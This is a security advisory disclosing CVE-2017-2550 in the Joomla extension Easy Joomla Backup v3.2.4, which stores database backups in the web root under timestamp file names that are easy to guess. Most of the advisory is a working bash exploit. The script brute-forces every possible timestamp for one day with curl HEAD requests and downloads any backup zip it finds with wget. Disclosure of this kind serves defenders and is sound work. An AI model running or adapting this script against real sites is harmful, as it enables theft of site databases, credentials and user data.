Advisory #: 200
Title: Joomla extension Easy Joomla Backup v3.2.4 database backup exposure
Author: Larry W. Cashdollar, @_larry0
Date: 2017-09-07
CVE-ID:[CVE-2017-2550]
CWE:
Download Site: https://joomla-extensions.kubik-rubik.de/ejb-easy-joomla-backup
Vendor: kubik-rubik
Vendor Notified: 2017-09-07
Vendor Contact:
Advisory: http://www.vapidlabs.com/advisory.php?v=200
Description: Easy Joomla Backup creates 'old-school' backups without any frills.
Vulnerability:
The software creates a copy of the backup in the web root. The file name is easily guessable as it's just a time stamp: http://example.com/administrator/components/com_easyjoomlabackup/backups/DOMAIN_YEAR-MONTH-DAY_H-M-S.zip
Export: JSON TEXT XML
Exploit Code:
  1. #!/bin/bash
  2. #Larry W. Cashdollar, @_larry0 9/7/2017
  3. #Bruteforce download backups for Joomla Extension Easy Joomla Backup v3.2.4
  4. #https://joomla-extensions.kubik-rubik.de/ejb-easy-joomla-backup
  5. MONTH=09
  6. DAY=07
  7. YEAR=2017
  8. Z=0
  9. #May need to set the DOMAIN to $1 the target depending on how WP is configured.
  10. DOMAIN=192.168.0.163
  11.  
  12. echo "Scanning website for available backups:"
  13. for y in `seq -w 0 23`; do
  14. for x in `seq -w 0 59`; do
  15. Y=`echo "scale=2;($Z/86000)*100"|bc`;
  16. echo -ne "\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b\b$CPATH $Y%"
  17. for z in `seq -w 0 59`; do
  18. Z=$(( $Z + 1 ));
  19. CPATH="http://$1/administrator/components/com_easyjoomlabackup/backups/"$DOMAIN"_"$YEAR"-"$MONTH"-"$DAY"_"$y"-"$x"-"$z".zip";
  20. RESULT=`curl -s --head $CPATH|grep 200`;
  21. if [ -n "$RESULT" ]; then
  22. echo ""
  23. echo "[+] Location $CPATH Found";
  24. echo "[+] Received $RESULT";
  25. echo "Downloading......";
  26. wget $CPATH
  27. fi;
  28. done
  29. done
  30. done
  31. echo "Completed."
Screen Shots:
Notes: